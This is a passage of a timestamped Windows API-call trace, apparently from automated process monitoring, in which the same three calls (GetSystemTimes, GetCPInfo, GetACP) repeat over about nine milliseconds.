lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.049] GetACP () returned 0x4e4 [0055.049] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.050] GetACP () returned 0x4e4 [0055.050] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.050] GetACP () returned 0x4e4 [0055.050] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.050] GetACP () returned 0x4e4 [0055.050] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.050] GetACP () returned 0x4e4 [0055.050] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.050] GetACP () returned 0x4e4 [0055.050] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.050] GetACP () returned 0x4e4 [0055.050] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.050] GetACP () returned 0x4e4 [0055.050] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.050] GetACP () returned 0x4e4 [0055.050] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.050] GetACP () returned 0x4e4 [0055.050] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.051] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.051] GetACP () returned 0x4e4 [0055.051] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.051] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.051] GetACP () returned 0x4e4 [0055.051] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.051] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.051] GetACP () returned 0x4e4 [0055.051] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.051] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.051] GetACP () returned 0x4e4 [0055.051] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.051] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.051] GetACP () returned 0x4e4 [0055.051] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.051] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.051] GetACP () returned 0x4e4 [0055.051] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.051] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.051] GetACP () returned 0x4e4 [0055.051] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.051] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.051] GetACP () returned 0x4e4 [0055.051] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.051] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.051] GetACP () returned 0x4e4 [0055.051] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.051] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.051] GetACP () returned 0x4e4 [0055.051] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.052] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.052] GetACP () returned 0x4e4 [0055.052] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.052] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.052] GetACP () returned 0x4e4 [0055.052] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.052] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.052] GetACP () returned 0x4e4 [0055.052] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.052] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.052] GetACP () returned 0x4e4 [0055.052] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.052] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.052] GetACP () returned 0x4e4 [0055.052] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.052] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.052] GetACP () returned 0x4e4 [0055.052] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.052] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.052] GetACP () returned 0x4e4 [0055.052] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.052] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.052] GetACP () returned 0x4e4 [0055.052] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.052] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.052] GetACP () returned 0x4e4 [0055.052] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.053] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.053] GetACP () returned 0x4e4 [0055.053] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.053] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.053] GetACP () returned 0x4e4 [0055.053] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.053] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.053] GetACP () returned 0x4e4 [0055.053] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.053] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.053] GetACP () returned 0x4e4 [0055.053] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.053] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.053] GetACP () returned 0x4e4 [0055.053] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.053] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.053] GetACP () returned 0x4e4 [0055.053] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.053] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.053] GetACP () returned 0x4e4 [0055.053] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.053] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.053] GetACP () returned 0x4e4 [0055.053] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.053] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.053] GetACP () returned 0x4e4 [0055.053] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.054] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.054] GetACP () returned 0x4e4 [0055.054] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.054] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.054] GetACP () returned 0x4e4 [0055.054] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.054] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.054] GetACP () returned 0x4e4 [0055.054] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.054] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.054] GetACP () returned 0x4e4 [0055.054] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.054] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.054] GetACP () returned 0x4e4 [0055.054] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.054] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.054] GetACP () returned 0x4e4 [0055.054] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.054] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.054] GetACP () returned 0x4e4 [0055.054] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.054] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.054] GetACP () returned 0x4e4 [0055.054] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.054] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.054] GetACP () returned 0x4e4 [0055.054] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.054] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.055] GetACP () returned 0x4e4 [0055.055] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.055] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.055] GetACP () returned 0x4e4 [0055.055] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.055] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.055] GetACP () returned 0x4e4 [0055.055] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.055] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.055] GetACP () returned 0x4e4 [0055.055] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.055] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.055] GetACP () returned 0x4e4 [0055.055] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.055] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.055] GetACP () returned 0x4e4 [0055.055] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.055] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.055] GetACP () returned 0x4e4 [0055.055] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.055] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.055] GetACP () returned 0x4e4 [0055.055] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.055] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.055] GetACP () returned 0x4e4 [0055.055] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.055] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.055] GetACP () returned 0x4e4 [0055.056] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.056] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.056] GetACP () returned 0x4e4 [0055.056] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.056] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.056] GetACP () returned 0x4e4 [0055.056] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.056] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.056] GetACP () returned 0x4e4 [0055.056] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.056] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.056] GetACP () returned 0x4e4 [0055.056] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.056] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.056] GetACP () returned 0x4e4 [0055.056] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.056] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.056] GetACP () returned 0x4e4 [0055.056] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.056] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.056] GetACP () returned 0x4e4 [0055.056] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.056] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.056] GetACP () returned 0x4e4 [0055.056] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.056] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.056] GetACP () returned 0x4e4 [0055.056] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.057] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.057] GetACP () returned 0x4e4 [0055.057] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.057] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.057] GetACP () returned 0x4e4 [0055.057] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.057] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.057] GetACP () returned 0x4e4 [0055.057] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.057] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.057] GetACP () returned 0x4e4 [0055.057] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.057] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.057] GetACP () returned 0x4e4 [0055.057] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.057] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.057] GetACP () returned 0x4e4 [0055.057] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.057] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.057] GetACP () returned 0x4e4 [0055.057] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.057] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.057] GetACP () returned 0x4e4 [0055.057] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.057] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.057] GetACP () returned 0x4e4 [0055.057] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.058] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.058] GetACP () returned 0x4e4 [0055.058] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.058] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.058] 